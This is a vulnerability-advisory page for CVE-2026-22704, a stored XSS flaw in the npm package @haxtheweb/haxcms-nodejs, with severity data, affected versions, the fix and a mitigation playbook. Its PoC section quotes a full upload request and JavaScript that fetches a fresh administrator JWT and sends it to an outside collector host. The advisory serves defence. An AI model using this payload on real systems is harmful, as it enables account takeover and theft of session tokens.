NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2026-22704 — @haxtheweb/haxcms-nodejs

HIGHFix: haxtheweb/haxcms-nodejs@317a8ae

CVE-2026-22704 is a high-severity (CVSS 8) Cross-site Scripting (XSS) vulnerability in @haxtheweb/haxcms-nodejs. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for @haxtheweb/haxcms-nodejs — see the affected versions and patch details below.

HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover

Also known asGHSA-3fm2-xfq7-7778
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
1 known
Exploitation data as of Nov 4, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-22704.

EPSS Exploitation Probability

via FIRST.org ↗
1.0%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs64th percentile — riskier than 64% of all scored CVEsHighest risk
0.00%0.53%1.05%1.58%0.1%1.0%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

1other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@haxtheweb/haxcms-nodejsnpm
2Kdownloads / week

Description

Summary

Stored XSS Leading to Account Takeover

Details

The Exploit Chain: 1.Upload: The attacker uploads an .html file containing a JavaScript payload. 2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file. 3.Token Refresh: The JavaScript payload makes a fetch request to the /system/api/refreshAccessToken endpoint. Because the administrator is logged in, their browser automatically attaches the haxcms_refresh_token cookie to this request. 4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token in the JSON response. 5.Exfiltration: The JavaScript captures this new JWT from the response and sends it to an attacker-controlled server. 6.Account Takeover: The attacker now possesses a valid administrator JWT and can take full control of the application.

Vulnerability recurrence:

<img width="1198" height="756" alt="image" src="https://github.com/user-attachments/assets/7062d542-702e-4cbe-8493-da0f71e790c3" />

Then we test access to this html

<img width="1433" height="1019" alt="image" src="https://github.com/user-attachments/assets/6c72c92f-a151-4b0e-b6ba-d83ffb771253" />

You can obtain other people's identity information

<img width="1082" height="290" alt="image" src="https://github.com/user-attachments/assets/23398ea4-f08c-47bd-b2f1-89071af0e275" />

PoC

POST /system/api/saveFile?siteName=yu&site_token=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ&jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtw_CHMALAeodb0M HTTP/1.1 Host: 192.168.1.72:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Connection: close Content-Length: 1128

------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="bulk-import"

true ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file-upload"; filename="files/pwn1116.html" Content-Type: text/plain

<script> // This version adds headers to make the request look more legitimate. fetch('/system/api/refreshAccessToken', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' // Sending an empty JSON object body }) .then(response => { if (!response.ok) { throw new Error('Network response was not ok ' + response.statusText); } return response.json(); }) .then(data => { var stolenJWT = data.jwt; var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?jwt=' + stolenJWT; fetch(attackerUrl); }) .catch(error => { var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?error=' + error.message; fetch(attackerUrl); }); </script> <h1>Processing your request...</h1> ------WebKitFormBoundary7MA4YWxkTrZu0gW--

Impact

The attacker now possesses a valid administrator JWT and can take full control of the application.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@haxtheweb/haxcms-nodejs≥ 11.0.6&&< 25.0.025.0.0npm install @haxtheweb/haxcms-nodejs@25.0.0

Affected Products

1 product · 1 configurations
Application
haxcms-nodejspsu
1 version
11.0.6
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

EDB-52526webappsmultiple

HAX CMS 24.x - Stored Cross-Site Scripting (XSS)

by banyamer · Apr 29, 2026

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @haxtheweb/haxcms-nodejs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @haxtheweb/haxcms-nodejs to 25.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-22704 is resolved across your whole dependency graph.

  3. Workarounds

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Frequently Asked Questions

### Summary Stored XSS Leading to Account Takeover ### Details The Exploit Chain: 1.Upload: The attacker uploads an `.html` file containing a JavaScript payload. 2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file. 3.Token Refresh: The JavaScript payload makes a `fetch` request to the `/system/api/refreshAccessToken` endpoint. Because the administrator is logged in, their browser automatically attaches the `haxcms_refresh_token` cookie to this request. 4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token
O3 Security · Impact-Aware SCA

Is CVE-2026-22704 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-22704: @haxtheweb/haxcms — Fixed in 25.0.0